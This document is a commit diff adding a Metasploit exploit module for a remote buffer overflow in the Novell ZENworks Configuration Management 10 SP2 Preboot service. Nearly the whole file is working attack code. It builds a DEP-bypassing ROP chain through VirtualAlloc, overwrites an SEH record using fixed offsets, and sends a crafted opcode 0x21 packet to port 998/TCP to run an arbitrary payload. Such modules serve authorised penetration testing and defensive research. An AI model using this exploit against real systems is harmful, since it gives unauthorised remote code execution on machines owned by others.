Added module for ZDI-010-090 Opcode 0x21

modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb

@@ -0,0 +1,130 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::Tcp
+	include Msf::Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a remote buffer overflow in the ZENworks Configuration
+				Management 10 SP2. The vulnerability exists in the Preboot service and can be
+				triggered by sending a specially crafted packet with the opcode 0x21
+				(PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on
+				Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2
+				(DEP bypass).
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Stephen Fewer', # Vulnerability Discovery
+					'juan' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'OSVDB', '65361' ],
+					[ 'BID', '40486' ],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ],
+					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ]
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process'
+				},
+			'Payload'        =>
+				{
+					'BadChars' => "",
+					'Space'=> 8138,
+					'DisableNops' => true,
+					'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
+				},
+			'Platform'       => ['win'],
+			'Targets'        =>
+				[
+					[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
+						{
+							'Offset'            => 8252,
+							'OffsetBottomStack' => 8288,
+							'OffsetRop'         => 44,
+							'Ret'               => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe
+						}
+					]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Mar 30 2010',
+			'DefaultTarget'  => 0))
+
+		register_options([Opt::RPORT(998)], self.class)
+	end
+
+	def junk(n=4)
+		return rand_text_alpha(n).unpack("V").first
+	end
+
+	def nop
+		return make_nops(4).unpack("L")[0].to_i
+	end
+
+	# rop chain generated with mona.py
+	def create_rop_chain()
+		rop_gadgets =
+			[
+				0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
+				0x00001000, # 0x00001000-> edx
+				0x10062113, # POP ECX # RETN [zenimgweb.dll]
+				0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
+				0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
+				junk,       # Filler (compensate)
+				junk,       # Filler (compensate)
+				junk,       # Filler (compensate)
+				junk,       # Filler (compensate)
+				junk,       # Filler (compensate)
+				junk,       # Filler (compensate)
+				junk,       # Filler (compensate)
+				junk,       # Filler (compensate)
+				0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
+				0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
+				0x10043053, # & push esp #  ret  [zenimgweb.dll]
+				0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
+				0x00000001, # 0x00000001-> ebx
+				0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
+				0x00000040, # 0x00000040-> ecx
+				0x1003173e, # POP EDI # RETN [zenimgweb.dll]
+				0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
+				0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
+				nop,
+				0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
+		].pack("V*")
+
+		return rop_gadgets
+	end
+
+
+	def exploit
+		connect
+
+		buf = rand_text(target['OffsetRop'])
+		buf << create_rop_chain
+		buf << payload.encoded
+		buf << rand_text(target['Offset'] - buf.length)
+		buf << generate_seh_record(target.ret)
+		buf << rand_text(target['OffsetBottomStack'] - buf.length)
+
+		packet =  [0x21].pack("N") # Opcode 0x21 PROXY_CMD_FTP_FILE
+		packet << [buf.length].pack("N") # Length
+		packet << buf # Value
+		sock.put(packet)
+
+		disconnect
+	end
+end